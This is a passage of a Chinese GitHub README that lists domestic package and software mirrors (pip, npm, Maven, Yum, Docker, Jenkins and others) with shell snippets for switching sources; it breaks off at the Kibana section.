每天自动运行一次链接检查，以保证项目中提供的链接都还正常可用，[检查详情查看。](https://github.com/eryajf/Thanks-Mirror/actions/workflows/links-check.yml) 📢 注意：之前有朋友在[issue](https://github.com/eryajf/Thanks-Mirror/issues/13)中提过是否可以做一个工具来管理这些源，现在，有一个很不错的，适用于多平台的换源工具：[https://github.com/RubyMetric/chsrc](https://github.com/RubyMetric/chsrc) 🥳 欢迎关注我的其他项目： > > - [Go-Ldap-Admin](https://github.com/eryajf/go-ldap-admin)：🌉 基于Go+Vue实现的openLDAP后台管理项目。 > - [learning-weekly](https://github.com/eryajf/learning-weekly)：📝 周刊内容以运维技术和Go语言周边为主，辅以GitHub上优秀项目或他人优秀经验。 > - [HowToStartOpenSource](https://github.com/eryajf/HowToStartOpenSource)：🌈 GitHub开源项目维护协同指南。 > - [magic-of-sysuse-scripts](https://github.com/eryajf/magic-of-sysuse-scripts)：🪄 运维外挂小工具。 > - [care-screenshot](https://github.com/eryajf/care-screenshot)：给我一个URL，我能将你关心的元素截图发给机器人🤖 > - [read-list](https://github.com/eryajf/read-list)：📖 优质内容订阅，阅读方为根本 > - [awesome-github-profile-readme-chinese](https://github.com/eryajf/awesome-github-profile-readme-chinese)：🦩 优秀的中文区个人主页搜集赞助商 [![](https://raw.githubusercontent.com/eryajf/tu/main/img/image_20240531_205925.webp)](https://302.ai/) > [302.AI](https://302.ai) 是一个汇集全球顶级AI的自助平台，按需付费，零月费，零门槛使用各种类型AI。 > - [点击注册](https://gpt302.saaslink.net/fGvlvo): 立即获得 1PTC(1PTC=1美金，约为7人民币)代币。 > - 功能全面: 将最好用的AI集成到在平台之上，包括不限于AI聊天，图片生成，图片处理，视频生成，全方位覆盖。 > - 简单易用: 提供机器人，工具和API多种使用方法，可以满足从小白到开发者多种角色的需求。 > - 按需付费，零门槛: 不提供月付套餐，对产品不设任何门槛，按需付费，全部开放。充值余额永久有效。 > - 管理者和使用者分离：管理者一键分享，使用者无需登录。使用者无需关心复杂的AI设置，让懂AI的人来配置，简化使用流程。 <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> 目录 - [Package-Mirror](#package-mirror) - [Go](#go) - [Npm](#npm) - [Pip](#pip) - [Composer](#composer) - [Rubygems](#rubygems) - [Maven](#maven) - [Yum](#yum) - [Remi](#remi) - [Epel](#epel) - [Homebrew](#homebrew) - [cargo](#cargo) - [Software-Mirror](#software-mirror) - [JDK](#jdk) - [Docker](#docker) - [Kubernetes](#kubernetes) - [K3s](#k3s) - [Minikube](#minikube) - [Helm](#helm) - [Harbor](#harbor) - [Jenkins](#jenkins) - [GitLab-ce](#gitlab-ce) - [GitLab-runner](#gitlab-runner) - [ElasticSearch](#elasticsearch) - [Logstash](#logstash) - [Kibana](#kibana) - [Filebeat](#filebeat) - [MySQL](#mysql) - [MariaDB](#mariadb) - [Percona](#percona) - [MongoDB](#mongodb) - [Redis](#redis) - [PostgreSQL](#postgresql) - [Golang](#golang) - [Node](#node) - [Yarn](#yarn) - [Python](#python) - [Rust](#rust) - [Maven](#maven-1) - [Zabbix](#zabbix) - [Prometheus](#prometheus) - [Grafana](#grafana) - [Pinpoint](#pinpoint) - [Apache](#apache) - [Nginx](#nginx) - [OpenResty](#openresty) - [Keepalived](#keepalived) - [Ceph](#ceph) - [Influxdata](#influxdata) - [ClickHouse](#clickhouse) - [Rabbitmq](#rabbitmq) - [ETCD](#etcd) - [WireShark](#wireshark) - [Virtualbox](#virtualbox) - [iina](#iina) - [chromium](#chromium) - [System-Mirror](#system-mirror) - [CentOS](#centos) - [CentOS-altarch](#centos-altarch) - [Ubuntu](#ubuntu) - [Debian](#debian) - [Deepin](#deepin) - [Fedora](#fedora) - [Alpine](#alpine) - [Void](#void) - [Gentoo](#gentoo) - [kali](#kali) - [Opensuse](#opensuse) - [FreeBSD](#freebsd) - [GNU](#gnu) - [Other-Mirror](#other-mirror) - [Docker-hub](#docker-hub) - [GitHub](#github) - [Google](#google) - [Nix](#nix) - [如何贡献](#%E5%A6%82%E4%BD%95%E8%B4%A1%E7%8C%AE) - [贡献者](#%E8%B4%A1%E7%8C%AE%E8%80%85) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Package-Mirror 以往工作中经历过建设企业内部私服的经历，私服的建设离不开国内一些优秀的镜像代理，这里记录下来，以供大家参考。 `注意：`假如所有的镜像都已经被本地nexus私服代理，那么对应的地址为`nexus.eryajf.net/repository/**/`。(这只是个域名示例，不代表实际可用！) ### Go #### Configuration 如果go版本用的`go1.11`或者`go1.12`，需进行如下配置： ```sh export GO111MODULE=on export GOPROXY="http://nexus.eryajf.net/repository/go/" ``` 如果使用 `go1.13`以上的版本则可以用如下配置： ```sh export GOPROXY="http://nexus.eryajf.net/repository/go/" GONOPROXY="gitlab.eryajf.net" GONOSUMDB="gitlab.eryajf.net" GOPRIVATE="gitlab.eryajf.net" GOSUMDB="sum.golang.google.cn" ``` 关于如上两个版本配置差异，以及配置参数详解可参考：[https://wiki.eryajf.net/pages/4941.html](https://wiki.eryajf.net/pages/4941.html) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/goproxy/](https://mirrors.aliyun.com/goproxy/) - Proxy-cn - [https://goproxy.cn](https://goproxy.cn) - Proxy-io - [https://goproxy.io](https://goproxy.io) - Baidu - [http://goproxy.baidu.com/](http://goproxy.baidu.com/) - [Tencent](https://mirrors.cloud.tencent.com/help/go.html) - [https://mirrors.cloud.tencent.com/go/](https://mirrors.cloud.tencent.com/go/) - HUAWEI - [https://repo.huaweicloud.com/repository/goproxy/](https://repo.huaweicloud.com/repository/goproxy/) 其中`GOSUMDB`在国内可用的两个镜像分别如下： - Google - [https://sum.golang.google.cn/](https://sum.golang.google.cn/) 🔝[回到顶部](#thanks-mirror) ### Npm #### Configuration 配置`npm`代理，需进行如下配置： ``` # npm配置 $ echo 'registry=http://nexus.eryajf.net/repository/npm' > ~/.npmrc # 查看 $ npm config get registry http://nexus.eryajf.net/repository/npm # yarn配置 $ echo 'registry "http://nexus.eryajf.net/repository/npm"' > ~/.yarnrc # 查看 $ yarn config get registry http://nexus.eryajf.net/repository/npm ``` #### Mirrors - Taobao - [https://npmmirror.com/](https://npmmirror.com/) - HUAWEI - [https://mirrors.huaweicloud.com/repository/npm/](https://mirrors.huaweicloud.com/repository/npm/) - [Tencent](https://mirrors.cloud.tencent.com/help/npm.html) - [http://mirrors.cloud.tencent.com/npm/](http://mirrors.cloud.tencent.com/npm/) - npmjs - [https://registry.npmjs.org](https://registry.npmjs.org) 🔝[回到顶部](#thanks-mirror) ### Pip #### Configuration 配置`Python`代理，需进行如下配置： ```shell $ mkdir ~/.pip $ cat > ~/.pip/pip.conf << EOF [global] timeout = 60 trusted-host = nexus.eryajf.net index-url = http://nexus.eryajf.net/repository/pypi/simple EOF ``` `注意：`通常在配置文件后边，我们会添加一个`simple`。 ```shell # 简洁配置方式 1 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple # 简洁配置方式 2 pip3 install --upgrade -i https://pypi.tuna.tsinghua.edu.cn/simple yt-dlp ``` #### Mirrors 目前代理外部私仓有： - Aliyun - [http://mirrors.aliyun.com/pypi/](http://mirrors.aliyun.com/pypi/) - douban - [http://pypi.douban.com/](http://pypi.douban.com/) - 清华 - [https://pypi.tuna.tsinghua.edu.cn/](https://pypi.tuna.tsinghua.edu.cn/) - 163 - [https://mirrors.163.com/pypi](https://mirrors.163.com/pypi) - HUAWEI - [https://repo.huaweicloud.com/repository/pypi/simple](https://repo.huaweicloud.com/repository/pypi/simple) - Tencent - [https://mirrors.cloud.tencent.com/pypi/](https://mirrors.cloud.tencent.com/pypi/) - 火山引擎 - [https://mirrors.volces.com/pypi/](https://mirrors.volces.com/pypi/) - 北大 - [https://mirrors.pku.edu.cn/pypi/](https://mirrors.pku.edu.cn/pypi/) - 南阳理工 - [https://mirror.nyist.edu.cn/pypi/](https://mirror.nyist.edu.cn/pypi/) - 大连东软 - [http://mirrors.neusoft.edu.cn/pypi/web/](http://mirrors.neusoft.edu.cn/pypi/web/) - 上海交通大学 - [https://mirror.sjtu.edu.cn/pypi/web/simple/](https://mirror.sjtu.edu.cn/pypi/web/simple/) - 华中科技大学 - [https://mirrors.hust.edu.cn/pypi/web/simple/](https://mirrors.hust.edu.cn/pypi/web/simple/) 🔝[回到顶部](#thanks-mirror) ### Composer Composer* 是PHP 的一个依赖管理工具，需要PHP 5.3.2 以上才能运行。 #### Configuration 配置`PHP`代理，需进行如下配置： - 全局配置（推荐） - 所有项目都会使用该镜像地址： ``` composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ ``` - 取消配置： ``` composer config -g --unset repos.packagist ``` - 项目配置 - 仅修改当前工程配置，仅当前工程可使用该镜像地址： ``` composer config repo.packagist composer https://mirrors.aliyun.com/composer/ ``` - 取消配置： ``` composer config --unset repos.packagist ``` 参考：[https://developer.aliyun.com/composer](https://developer.aliyun.com/composer) #### Mirrors 目前代理外部私仓有： - [Aliyun](https://developer.aliyun.com/composer) - [https://mirrors.aliyun.com/composer/](https://mirrors.aliyun.com/composer/) - [Tencent](https://mirrors.cloud.tencent.com/help/composer.html) - [https://mirrors.cloud.tencent.com/composer/](https://mirrors.cloud.tencent.com/composer/) - [Packagist](https://pkg.xyz/) - [https://packagist.phpcomposer.com](https://packagist.phpcomposer.com) - 上海交通 - [https://packagist.mirrors.sjtug.sjtu.edu.cn](https://packagist.mirrors.sjtug.sjtu.edu.cn) 🔝[回到顶部](#thanks-mirror) ### Rubygems RubyGems 是Ruby 的一个包管理器，它提供一个分发Ruby 程序和库的标准格式，还提供一个管理程序包安装的工具。 #### Configuration 配置`Ruby`代理，需进行如下配置： ```sh # 首先，查看当前源： $ gem sources -l * CURRENT SOURCES * https://rubygems.org/ # 接着，移除 https://rubygems.org/ ，并添加国内下载源 https://gems.ruby-china.com/ 。 $ gem sources --remove https://rubygems.org/ $ gem sources -a https://gems.ruby-china.com/ $ gem sources -l * CURRENT SOURCES * https://gems.ruby-china.com/ # 请确保只有 gems.ruby-china.com $ gem install rails ``` 参考：[https://www.runoob.com/ruby/ruby-rubygems.html](https://www.runoob.com/ruby/ruby-rubygems.html) #### Mirrors 目前代理外部私仓有： - [Aliyun](https://developer.aliyun.com/mirror/rubygems) - [https://mirrors.aliyun.com/rubygems/](https://mirrors.aliyun.com/rubygems/) - Tencent - [https://mirrors.cloud.tencent.com/rubygems/](https://mirrors.cloud.tencent.com/rubygems/) - HUAWEI - [https://repo.huaweicloud.com/repository/rubygems/](https://repo.huaweicloud.com/repository/rubygems/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/rubygems/](https://mirrors.tuna.tsinghua.edu.cn/rubygems/) - 中科大 - [https://mirrors.ustc.edu.cn/rubygems/](https://mirrors.ustc.edu.cn/rubygems/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/rubygems/](https://mirrors.bfsu.edu.cn/rubygems/) - 南京大学 - [https://mirror.nju.edu.cn/rubygems/](https://mirror.nju.edu.cn/rubygems/) 🔝[回到顶部](#thanks-mirror) ### Maven #### Configuration Java系的工具版本规范如下： - `JDK：`1.8.0_292 - `MVN：`3.3.9 配置Maven代理，参考配置文件： [settings.xml](https://raw.githubusercontent.com/eryajf/Thanks-Mirror/main/src/settings.xml) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/repository/maven/](https://repo.huaweicloud.com/repository/maven/) - Maven Central Repository - [https://repo1.maven.org/maven2/](https://repo1.maven.org/maven2/) - [Aliyun](https://developer.aliyun.com/mvn/guide) - http://maven.aliyun.com/nexus/content/groups/public/ - Tencent - [https://mirrors.cloud.tencent.com/maven/](https://mirrors.cloud.tencent.com/maven/) - Apache Maven - https://repo.maven.apache.org/maven2 - https://repository.apache.org/content/groups/snapshots - https://repository.apache.org/content/groups/staging/ - https://repository.apache.org/content/groups/public/ - confluent - [http://packages.confluent.io/maven/](http://packages.confluent.io/maven/) - jboss - [https://repository.jboss.org/nexus/content/groups/public](https://repository.jboss.org/nexus/content/groups/public) - Lss233's.Mirror（供 Minecraft 开发使用） - http://lss233.littleservice.cn/repositories/minecraft 🔝[回到顶部](#thanks-mirror) ### Yum #### Configuration 如果`CentOS`服务器要接入私服`yum`源，则清空本地 `/etc/yum.repos.d`的内容，添加如下内容： ```sh $ cat >> /etc/yum.repos.d/nexus.repo << 'EOF' [nexus] name=Nexus Repository baseurl=http://nexus.eryajf.net/repository/yum/$releasever/os/$basearch/ enabled=1 gpgcheck=0 [nexus-local] name=Nexus Repository baseurl=http://nexus.eryajf.net/repository/eryajf-yum-local/ enabled=1 gpgcheck=0 EOF ``` 然后执行如下命令： ```sh yum clean all yum makecache ``` #### Mirrors 目前代理外部源： - Aliyun - [https://mirrors.aliyun.com/centos/](https://mirrors.aliyun.com/centos/) - HUAWEI - [https://repo.huaweicloud.com/centos/](https://repo.huaweicloud.com/centos/) - Tencent - https://mirrors.cloud.tencent.com/centos/ - 兰州大学 - https://mirror.lzu.edu.cn/centos/ - 清华 - https://mirrors.tuna.tsinghua.edu.cn/centos/ - 华中科技大学 - https://mirrors.ustc.edu.cn/centos/ - 浙江大学 - http://mirrors.zju.edu.cn/centos/ - souhu - http://mirrors.sohu.com/centos/ - 163： - http://mirrors.163.com/centos/ 🔝[回到顶部](#thanks-mirror) ### Remi Remi repository 是包含最新版本 PHP 和 MySQL 包的 Linux 源，由 Remi 提供维护。官方地址：[https://rpms.remirepo.net/](https://rpms.remirepo.net/) #### Configuration 详情参考：[https://wiki.eryajf.net/pages/f35986](https://wiki.eryajf.net/pages/f35986) ```bash yum install -y epel-release yum install -y https://mirrors.tuna.tsinghua.edu.cn/remi/enterprise/remi-release-7.rpm ``` #### Mirrors 目前代理外部源： - [Aliyun](https://developer.aliyun.com/mirror/remi) - [https://mirrors.aliyun.com/remi/](https://mirrors.aliyun.com/remi/) - HUAWEI - [https://repo.huaweicloud.com/remi/](https://repo.huaweicloud.com/remi/) - 火山引擎 - [https://mirrors.volces.com/remi/](https://mirrors.volces.com/remi/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/remi/](https://mirrors.tuna.tsinghua.edu.cn/remi/) - 中科大 - [https://mirrors.ustc.edu.cn/remi/](https://mirrors.ustc.edu.cn/remi/) - 上海交通 - [http://ftp.sjtu.edu.cn/remi/](http://ftp.sjtu.edu.cn/remi/) - 首都在线 - [http://mirrors.yun-idc.com/remi/](http://mirrors.yun-idc.com/remi/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/remi/](https://mirrors.bfsu.edu.cn/remi/) - 南京大学 - [https://mirror.nju.edu.cn/remi/](https://mirror.nju.edu.cn/remi/) 🔝[回到顶部](#thanks-mirror) ### Epel EPEL 的全称叫 Extra Packages for Enterprise Linux。EPEL 是由 Fedora 社区打造，为 RHEL 及衍生发行版如 CentOS、Scientific Linux 等提供高质量软件包的项目。官方地址：[https://docs.fedoraproject.org/en-US/epel/](https://docs.fedoraproject.org/en-US/epel/) #### Configuration ```bash # 备份 mv /etc/yum.repos.d/epel.repo /etc/yum.repos.d/epel.repo.backup mv /etc/yum.repos.d/epel-testing.repo /etc/yum.repos.d/epel-testing.repo.backup # 下载 wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo ``` #### Mirrors 目前代理外部源： - [Aliyun](https://developer.aliyun.com/mirror/epel) - [https://mirrors.aliyun.com/epel/](https://mirrors.aliyun.com/epel/) - Tencent - [https://mirrors.cloud.tencent.com/epel/](https://mirrors.cloud.tencent.com/epel/) - HUAWEI - [https://repo.huaweicloud.com/epel/](https://repo.huaweicloud.com/epel/) - 火山引擎 - [https://mirrors.volces.com/epel/](https://mirrors.volces.com/epel/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/epel/](https://mirrors.tuna.tsinghua.edu.cn/epel/) - 中科大 - [https://mirrors.ustc.edu.cn/epel/](https://mirrors.ustc.edu.cn/epel/) - 浙江大学 - [http://mirrors.zju.edu.cn/epel/](http://mirrors.zju.edu.cn/epel/) - 兰州大学 - [https://mirror.lzu.edu.cn/epel/](https://mirror.lzu.edu.cn/epel/) - 上海交通 - [http://ftp.sjtu.edu.cn/epel/](http://ftp.sjtu.edu.cn/epel/) - 首都在线 - [http://mirrors.yun-idc.com/epel/](http://mirrors.yun-idc.com/epel/) - 大连东软 - [http://mirrors.neusoft.edu.cn/epel/](http://mirrors.neusoft.edu.cn/epel/) - 重庆大学 - [https://mirrors.cqu.edu.cn/epel/](https://mirrors.cqu.edu.cn/epel/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/epel/](https://mirrors.bfsu.edu.cn/epel/) - 公云 - [https://mirrors.pubyun.com/epel/](https://mirrors.pubyun.com/epel/) 🔝[回到顶部](#thanks-mirror) ### Homebrew #### Configuration 如果你使用了zsh，那么配置方式如下： ```sh echo 'export HOMEBREW_BREW_GIT_REMOTE="https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git"' >> ~/.zshrc echo 'export HOMEBREW_CORE_GIT_REMOTE="https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git"' >> ~/.zshrc echo 'export HOMEBREW_BOTTLE_DOMAIN="https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles"' >> ~/.zshrc source ~/.zshrc brew update ``` 参考：[Homebrew 替换国内镜像源](https://www.frankindev.com/2020/05/15/replace-homebrew-source/) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/homebrew/](https://mirrors.aliyun.com/homebrew/) - Tencent - [https://mirrors.cloud.tencent.com/homebrew/](https://mirrors.cloud.tencent.com/homebrew/) - 清华： - https://mirrors.tuna.tsinghua.edu.cn/help/homebrew/ - 重庆大学 - [https://mirrors.cqu.edu.cn/homebrew/](https://mirrors.cqu.edu.cn/homebrew/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/help/homebrew/](https://mirrors.bfsu.edu.cn/help/homebrew/) 🔝[回到顶部](#thanks-mirror) ### cargo rust 包管理镜像源 #### Configuration 修改文件`~/.cargo/config`(没有则新建) ``` [source.crates-io] replace-with = 'rsproxy' [source.rsproxy] registry = "https://rsproxy.cn/crates.io-index" [registries.rsproxy] index = "https://rsproxy.cn/crates.io-index" [net] git-fetch-with-cli = true ``` #### Mirrors - 字节 - [https://rsproxy.cn](https://rsproxy.cn) - 中国科学技术大学 - [https://mirrors.ustc.edu.cn/help/crates.io-index.html](https://mirrors.ustc.edu.cn/help/crates.io-index.html) - 清华： - [https://mirrors.tuna.tsinghua.edu.cn/help/crates.io-index.git/](https://mirrors.tuna.tsinghua.edu.cn/help/crates.io-index.git/) - 上海交通大学 - [https://mirrors.sjtug.sjtu.edu.cn/docs/git/crates.io-index](https://mirrors.sjtug.sjtu.edu.cn/docs/git/crates.io-index) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/help/crates.io-index.git/](https://mirrors.bfsu.edu.cn/help/crates.io-index.git/) 🔝[回到顶部](#thanks-mirror) ## Software-Mirror 还有一些软件，直接通过官方下载比较困难，也整理出方便下载的国内优质镜像。 ### JDK #### Official - https://openjdk.org/ #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/java/jdk/](https://repo.huaweicloud.com/java/jdk/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/Adoptium/](https://mirrors.tuna.tsinghua.edu.cn/Adoptium/) - 编程宝库 - [http://www.codebaoku.com/jdk/jdk-index.html](http://www.codebaoku.com/jdk/jdk-index.html) - injdk - [https://www.injdk.cn/](https://www.injdk.cn/) 🔝[回到顶部](#thanks-mirror) ### Docker #### Official - https://docs.docker.com/engine/install/ #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/docker-ce](https://developer.aliyun.com/mirror/docker-ce) - Tencent - [https://mirrors.cloud.tencent.com/docker-ce/](https://mirrors.cloud.tencent.com/docker-ce/) - HUAWEI - [https://repo.huaweicloud.com/docker-ce/](https://repo.huaweicloud.com/docker-ce/) - 火山引擎 - [https://mirrors.volces.com/docker/](https://mirrors.volces.com/docker/) - 北大 - [https://mirrors.pku.edu.cn/docker-ce/](https://mirrors.pku.edu.cn/docker-ce/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/docker-ce/](https://mirrors.tuna.tsinghua.edu.cn/docker-ce/) - 中科大 - [https://mirrors.ustc.edu.cn/docker-ce/](https://mirrors.ustc.edu.cn/docker-ce/) - 浙江大学 - [http://mirrors.zju.edu.cn/docker-ce/](http://mirrors.zju.edu.cn/docker-ce/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/docker-ce/](https://mirrors.bfsu.edu.cn/docker-ce/) - 上海交通 - [https://mirror.sjtu.edu.cn/docker-ce/](https://mirror.sjtu.edu.cn/docker-ce/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/docker-ce/](https://mirrors.nwsuaf.edu.cn/docker-ce/) - 南京大学 - [https://mirror.nju.edu.cn/docker-ce/](https://mirror.nju.edu.cn/docker-ce/) 🔝[回到顶部](#thanks-mirror) ### Kubernetes #### Official - [https://kubernetes.io/releases/download/](https://kubernetes.io/releases/download/) #### Mirrors - Aliyun - [https://developer.aliyun.com/mirror/kubernetes](https://developer.aliyun.com/mirror/kubernetes) - Tencent - [https://mirrors.cloud.tencent.com/kubernetes/](https://mirrors.cloud.tencent.com/kubernetes/) - HUAWEI - [https://repo.huaweicloud.com/kubernetes/](https://repo.huaweicloud.com/kubernetes/) - 火山引擎 - [https://mirrors.volces.com/kubernetes/](https://mirrors.volces.com/kubernetes/) - 北大 - [https://mirrors.pku.edu.cn/kubernetes/](https://mirrors.pku.edu.cn/kubernetes/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/kubernetes/](https://mirrors.tuna.tsinghua.edu.cn/kubernetes/) - 中科大 - [https://mirrors.ustc.edu.cn/kubernetes/](https://mirrors.ustc.edu.cn/kubernetes/) 🔝[回到顶部](#thanks-mirror) ### K3s #### Official - [https://github.com/k3s-io/k3s/releases/](https://github.com/k3s-io/k3s/releases/) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/github-release/k3s-io/k3s/](https://mirrors.tuna.tsinghua.edu.cn/github-release/k3s-io/k3s/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/github-release/k3s-io/k3s/](https://mirrors.bfsu.edu.cn/github-release/k3s-io/k3s/) - 南京大学 - [https://mirror.nju.edu.cn/github-release/k3s-io/k3s/](https://mirror.nju.edu.cn/github-release/k3s-io/k3s/) 🔝[回到顶部](#thanks-mirror) ### Minikube #### Official - [https://github.com/kubernetes/minikube/releases](https://github.com/kubernetes/minikube/releases) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/github-release/kubernetes/minikube/](https://mirrors.tuna.tsinghua.edu.cn/github-release/kubernetes/minikube/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/github-release/kubernetes/minikube/](https://mirrors.bfsu.edu.cn/github-release/kubernetes/minikube/) - 南京大学 - [https://mirror.nju.edu.cn/github-release/kubernetes/minikube/](https://mirror.nju.edu.cn/github-release/kubernetes/minikube/) 🔝[回到顶部](#thanks-mirror) ### Helm #### Official - [https://helm.sh/docs/intro/install/](https://helm.sh/docs/intro/install/) #### Mirrors - HUAWEI - [https://repo.huaweicloud.com/helm/](https://repo.huaweicloud.com/helm/) 🔝[回到顶部](#thanks-mirror) ### Harbor #### Official - [https://github.com/goharbor/harbor/releases](https://github.com/goharbor/harbor/releases) #### Mirrors - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/github-release/goharbor/harbor/](https://mirrors.tuna.tsinghua.edu.cn/github-release/goharbor/harbor/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/github-release/goharbor/harbor/](https://mirrors.bfsu.edu.cn/github-release/goharbor/harbor/) - 南京大学 - [https://mirror.nju.edu.cn/github-release/goharbor/harbor/](https://mirror.nju.edu.cn/github-release/goharbor/harbor/) 🔝[回到顶部](#thanks-mirror) ### Jenkins #### Official - 安装包-稳定版：[https://get.jenkins.io/war-stable/](https://get.jenkins.io/war-stable/) - 安装包-开发版：[https://get.jenkins.io/war/](https://get.jenkins.io/war/) - 插件：[https://plugins.jenkins.io/](https://plugins.jenkins.io/) #### Mirrors - Aliyun - 安装包-稳定版：[https://mirrors.aliyun.com/jenkins/war-stable/](https://mirrors.aliyun.com/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.aliyun.com/jenkins/war/](https://mirrors.aliyun.com/jenkins/war/) - 插件：[https://mirrors.aliyun.com/jenkins/plugins/](https://mirrors.aliyun.com/jenkins/plugins/) - Tencent - 安装包-稳定版：[https://mirrors.cloud.tencent.com/jenkins/war-stable/](https://mirrors.cloud.tencent.com/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.cloud.tencent.com/jenkins/war/](https://mirrors.cloud.tencent.com/jenkins/war/) - 插件：[https://mirrors.cloud.tencent.com/jenkins/plugins/](https://mirrors.cloud.tencent.com/jenkins/plugins/) - HUAWEI - 安装包-稳定版：[https://repo.huaweicloud.com/jenkins/war-stable/](https://repo.huaweicloud.com/jenkins/war-stable/) - 安装包-开发版：[https://repo.huaweicloud.com/jenkins/war/](https://repo.huaweicloud.com/jenkins/war/) - 插件：[https://repo.huaweicloud.com/jenkins/plugins/](https://repo.huaweicloud.com/jenkins/plugins/) - 火山引擎 - 安装包-稳定版：[https://mirrors.volces.com/jenkins/war-stable/](https://mirrors.volces.com/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.volces.com/jenkins/war/](https://mirrors.volces.com/jenkins/war/) - 插件：[https://mirrors.volces.com/jenkins/plugins/](https://mirrors.volces.com/jenkins/plugins/) - 中科大 - 安装包-稳定版：[https://mirrors.ustc.edu.cn/jenkins/war-stable/](https://mirrors.ustc.edu.cn/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.ustc.edu.cn/jenkins/war/](https://mirrors.ustc.edu.cn/jenkins/war/) - 插件：[https://mirrors.ustc.edu.cn/jenkins/plugins/](https://mirrors.ustc.edu.cn/jenkins/plugins/) - 清华 - 安装包-稳定版：[https://mirrors.tuna.tsinghua.edu.cn/jenkins/war-stable/](https://mirrors.tuna.tsinghua.edu.cn/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.tuna.tsinghua.edu.cn/jenkins/war/](https://mirrors.tuna.tsinghua.edu.cn/jenkins/war/) - 插件：[https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/](https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/) - 北京外国语大学 - 安装包-稳定版：[https://mirrors.bfsu.edu.cn/jenkins/war-stable/](https://mirrors.bfsu.edu.cn/jenkins/war-stable/) - 安装包-开发版：[https://mirrors.bfsu.edu.cn/jenkins/war/](https://mirrors.bfsu.edu.cn/jenkins/war/) - 插件：[https://mirrors.bfsu.edu.cn/jenkins/plugins/](https://mirrors.bfsu.edu.cn/jenkins/plugins/) - 南京大学 - 安装包-稳定版：[https://mirror.nju.edu.cn/jenkins/war-stable](https://mirror.nju.edu.cn/jenkins/war-stable/) - 安装包-开发版：[https://mirror.nju.edu.cn/jenkins/war](https://mirror.nju.edu.cn/jenkins/war/) - 插件：[https://mirror.nju.edu.cn/jenkins/plugins](https://mirror.nju.edu.cn/jenkins/plugins/) 🔝[回到顶部](#thanks-mirror) ### GitLab-ce #### Official - [https://packages.gitlab.com/gitlab/gitlab-ce](https://packages.gitlab.com/gitlab/gitlab-ce) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/gitlab-ce/](https://mirrors.aliyun.com/gitlab-ce/) - Tencent - [https://mirrors.cloud.tencent.com/gitlab-ce/](https://mirrors.cloud.tencent.com/gitlab-ce/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/](https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/) - 南京大学 - [https://mirror.nju.edu.cn/gitlab-ce/](https://mirror.nju.edu.cn/gitlab-ce/) 🔝[回到顶部](#thanks-mirror) ### GitLab-runner #### Official - [https://docs.gitlab.com/runner/install/](https://docs.gitlab.com/runner/install/) #### Mirrors - Tencent - [https://mirrors.cloud.tencent.com/gitlab-runner/](https://mirrors.cloud.tencent.com/gitlab-runner/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/gitlab-runner/](https://mirrors.tuna.tsinghua.edu.cn/gitlab-runner/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/gitlab-runner/](https://mirrors.bfsu.edu.cn/gitlab-runner/) - 南京大学 - [https://mirror.nju.edu.cn/gitlab-runner/](https://mirror.nju.edu.cn/gitlab-runner/) 🔝[回到顶部](#thanks-mirror) ### ElasticSearch #### Official - [https://www.elastic.co/cn/downloads/elasticsearch](https://www.elastic.co/cn/downloads/elasticsearch) #### Mirrors - elastic中文社区 - [https://elasticsearch.cn/download/](https://elasticsearch.cn/download/) - Aliyun - [https://mirrors.aliyun.com/elasticstack/](https://mirrors.aliyun.com/elasticstack/) - HUAWEI - [https://repo.huaweicloud.com/elasticsearch/](https://repo.huaweicloud.com/elasticsearch/) - Tencent - [https://mirrors.cloud.tencent.com/elasticstack/](https://mirrors.cloud.tencent.com/elasticstack/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/elasticstack/](https://mirrors.tuna.tsinghua.edu.cn/elasticstack/) 🔝[回到顶部](#thanks-mirror) ### Logstash #### Official - [https://www.elastic.co/cn/downloads/logstash](https://www.elastic.co/cn/downloads/logstash) #### Mirrors - elastic中文社区 - [https://elasticsearch.cn/download/](https://elasticsearch.cn/download/) - HUAWEI - [https://repo.huaweicloud.com/logstash/](https://repo.huaweicloud.com/logstash/) 🔝[回到顶部](#thanks-mirror) ### Kibana #### Official - 